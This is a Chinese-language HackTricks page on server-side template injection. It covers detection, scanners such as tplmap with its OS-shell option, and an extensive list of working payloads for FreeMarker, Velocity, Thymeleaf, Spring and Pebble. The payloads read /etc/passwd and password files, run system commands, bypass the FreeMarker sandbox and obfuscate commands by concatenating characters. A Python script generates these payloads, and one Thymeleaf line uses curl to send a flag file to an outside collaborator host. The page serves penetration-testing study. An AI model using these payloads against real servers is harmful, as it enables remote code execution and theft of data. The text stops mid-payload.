从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家) ! 支持HackTricks的其他方式:
如果您想看到您的公司在HackTricks中被广告 或下载PDF格式的HackTricks ,请查看订阅计划 !
RootedCON 是西班牙最重要的网络安全活动之一,也是欧洲最重要的活动之一。作为促进技术知识的使命,这个大会是技术和网络安全专业人士在各个领域的热点交流会。
什么是SSTI(服务器端模板注入)
服务器端模板注入是一种漏洞,当攻击者可以将恶意代码注入到在服务器上执行的模板中时发生。这种漏洞可以在各种技术中找到,包括Jinja。
Jinja是一种常用的用于Web应用程序的模板引擎。让我们看一个示例,演示使用Jinja的易受攻击代码片段:
复制 output = template . render (name = request.args. get ( 'name' ))
在这个易受攻击的代码中,用户请求中的 name
参数直接通过 render
函数传递到模板中。这可能会让攻击者注入恶意代码到 name
参数中,导致服务器端模板注入。
例如,攻击者可以构造一个带有如下载荷的请求:
复制 http://vulnerable-website.com/?name={{bad-stuff-here}}
将{{bad-stuff-here}}
负载注入到name
参数中。该负载可以包含Jinja模板指令,使攻击者能够执行未经授权的代码或操纵模板引擎,从而潜在地控制服务器。
为防止服务器端模板注入漏洞,开发人员应确保用户输入在插入模板之前经过适当的清理和验证。实施输入验证并使用上下文感知的转义技术可以帮助减轻此漏洞的风险。
检测
要检测服务器端模板注入(SSTI),最初,对模板进行模糊测试 是一种直接的方法。这涉及将一系列特殊字符(${{<%[%'"}}%\
)注入到模板中,并分析服务器对常规数据与此特殊负载的响应之间的差异。漏洞指示包括:
反射中负载的缺失,或部分缺失,暗示服务器对其进行处理方式与常规数据不同。
明文上下文 :通过检查服务器是否评估模板表达式(例如{{7*7}}
,${7*7}
)来区分XSS。
代码上下文 :通过更改输入参数来确认漏洞。例如,将http://vulnerable-website.com/?greeting=data.username
中的greeting
更改为查看服务器输出是否动态或固定,例如greeting=data.username}}hello
返回用户名。
识别阶段
识别模板引擎涉及分析错误消息或手动测试各种特定语言的负载。导致错误的常见负载包括${7/0}
,{{7/0}}
和<%= 7/0 %>
。观察服务器对数学运算的响应有助于确定特定的模板引擎。
工具
一款高效的SSTI + CSTI扫描器,利用新颖的多语言混合技术。
复制 tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
复制 python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s
复制 python2 . 7 . / tplmap . py - u 'http://www.target.com/page?name=John*' --os - shell
python2 . 7 . / tplmap . py - u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2 . 7 . / tplmap . py - u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 - e jade
一个交互式表格,包含最有效的模板注入多语言混合代码,以及对44个最重要的模板引擎的预期响应。
攻击
通用
在这个单词列表 中,您可以找到下面提到的一些引擎环境中定义的变量 :
Java
Java - 基本注入
复制 ${ 7 * 7 }
${{ 7 * 7 }}
${ class . getClassLoader ()}
${ class . getResource ( "" ) . getPath ()}
${ class . getResource ( "../../../../../index.htm" ) . getContent ()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
Java - 检索系统的环境变量
复制 ${ T( java . lang . System ) . getenv ()}
Java - 检索 /etc/passwd
复制 ${ T( java . lang . Runtime ) . getRuntime () . exec ( 'cat etc/passwd' )}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
FreeMarker (Java)
您可以在 https://try.freemarker.apache.org 尝试您的有效负载
复制 < #assign ex = "freemarker.template.utility.Execute" ?new ()>${ ex ( "id" )}
[#assign ex = 'freemarker.template.utility.Execute' ?new ()]${ ex( 'id' ) }
${ "freemarker.template.utility.Execute" ?new ()("id")}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
Freemarker - 沙盒绕过
⚠️ 仅适用于版本低于2.3.30的Freemarker。
复制 < #assign classloader = article . class . protectionDomain . classLoader >
< #assign owc = classloader . loadClass ( "freemarker.template.ObjectWrapper" ) >
< #assign dwf = owc . getField ( "DEFAULT_WRAPPER" ) . get ( null ) >
< #assign ec = classloader . loadClass ( "freemarker.template.utility.Execute" ) >
${ dwf . newInstance (ec , null )( "id" )}
更多信息
Velocity (Java)
复制 // I think this doesn't work
# set($str = $class . inspect( "java.lang.String" ) . type )
# set($chr = $class . inspect( "java.lang.Character" ) . type )
# set($ex = $class . inspect( "java.lang.Runtime" ) . type . getRuntime() . exec( "whoami" ))
$ex . waitFor ()
# set($out = $ex . getInputStream())
# foreach($i in [1 .. $out . available()])
$str . valueOf ( $chr . toChars ( $out . read ()))
#end
// This should work?
# set($s = "" )
# set($stringClass = $s . getClass())
# set($runtime = $stringClass . forName( "java.lang.Runtime" ) . getRuntime())
# set($process = $runtime . exec( "cat%20/flag563378e453.txt" ))
# set($out = $process . getInputStream())
# set($ null = $process . waitFor() )
# foreach($i + in + [1 .. $out . available()])
$out . read ()
#end
更多信息
Thymeleaf
在Thymeleaf中,用于测试SSTI漏洞的常见表达式是${7*7}
,这也适用于这个模板引擎。对于潜在的远程代码执行,可以使用以下表达式:
复制 ${ T( java . lang . Runtime ) . getRuntime () . exec ( 'calc' )}
复制 ${#rt = @ java.lang.Runtime@getRuntime () , # rt . exec ( "calc" )}
Thymeleaf要求这些表达式放置在特定属性中。然而,对于其他模板位置,支持_expression inlining_,使用类似[[...]]
或[(...)]
的语法。因此,一个简单的SSTI测试有效载荷可能看起来像[[${7*7}]]
。
然而,这个有效载荷能够成功的可能性通常较低。Thymeleaf的默认配置不支持动态模板生成;模板必须是预定义的。开发人员需要实现自己的TemplateResolver
来从字符串中动态创建模板,这是不常见的。
Thymeleaf还提供_expression preprocessing_,其中双下划线(__...__
)内的表达式会被预处理。这个特性可以在表达式的构建中使用,正如Thymeleaf的文档中所示:
复制 #{ selection . __$ { sel . code }__}
Thymeleaf漏洞示例
考虑以下代码片段,可能容易受到利用:
复制 < a th : href = "@{__${path}__}" th : title = "${title}" >
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
这表明,如果模板引擎未正确处理这些输入,可能会导致远程代码执行,访问类似以下的URL:
复制 http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
更多信息
Spring Framework (Java)
复制 * { T( org . apache . commons . io . IOUtils ) . toString ( T( java . lang . Runtime ) . getRuntime () . exec ( 'id' ) . getInputStream ())}
绕过过滤器
如果${...}
无效,请尝试使用#{...}
、*{...}
、@{...}
或~{...}
来使用多个变量表达式。
复制 ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
复制 #!/usr/bin/python3
## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"
from sys import argv
cmd = list (argv[ 1 ]. strip ())
print ( "Payload: " , cmd , end = "\n\n" )
converted = [ ord (c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'
count = 1
for i in converted :
if count == 1 :
base_payload += f "(T(java.lang.Character).toString( { i } ).concat"
count += 1
elif count == len (converted):
base_payload += f "(T(java.lang.Character).toString( { i } )))"
else :
base_payload += f "(T(java.lang.Character).toString( { i } )).concat"
count += 1
print (base_payload + end_payload)
更多信息
Spring视图操作(Java)
复制 __ ${ new java . util . Scanner ( T( java . lang . Runtime ) . getRuntime () . exec ( "id" ) . getInputStream ()) . next ()}__ :: . x
__ ${ T( java . lang . Runtime ) . getRuntime () . exec ( "touch executed" )}__ :: . x
Pebble (Java)
{{ someString.toUPPERCASE() }}
Pebble的旧版本(<版本3.0.9):
复制 {{ variable . getClass () . forName ( 'java.lang.Runtime' ) . getRuntime () . exec ( 'ls -la' ) }}
新版本的Pebble:
复制 { % set cmd = 'id' % }
{ % set bytes = ( 1 ) . TYPE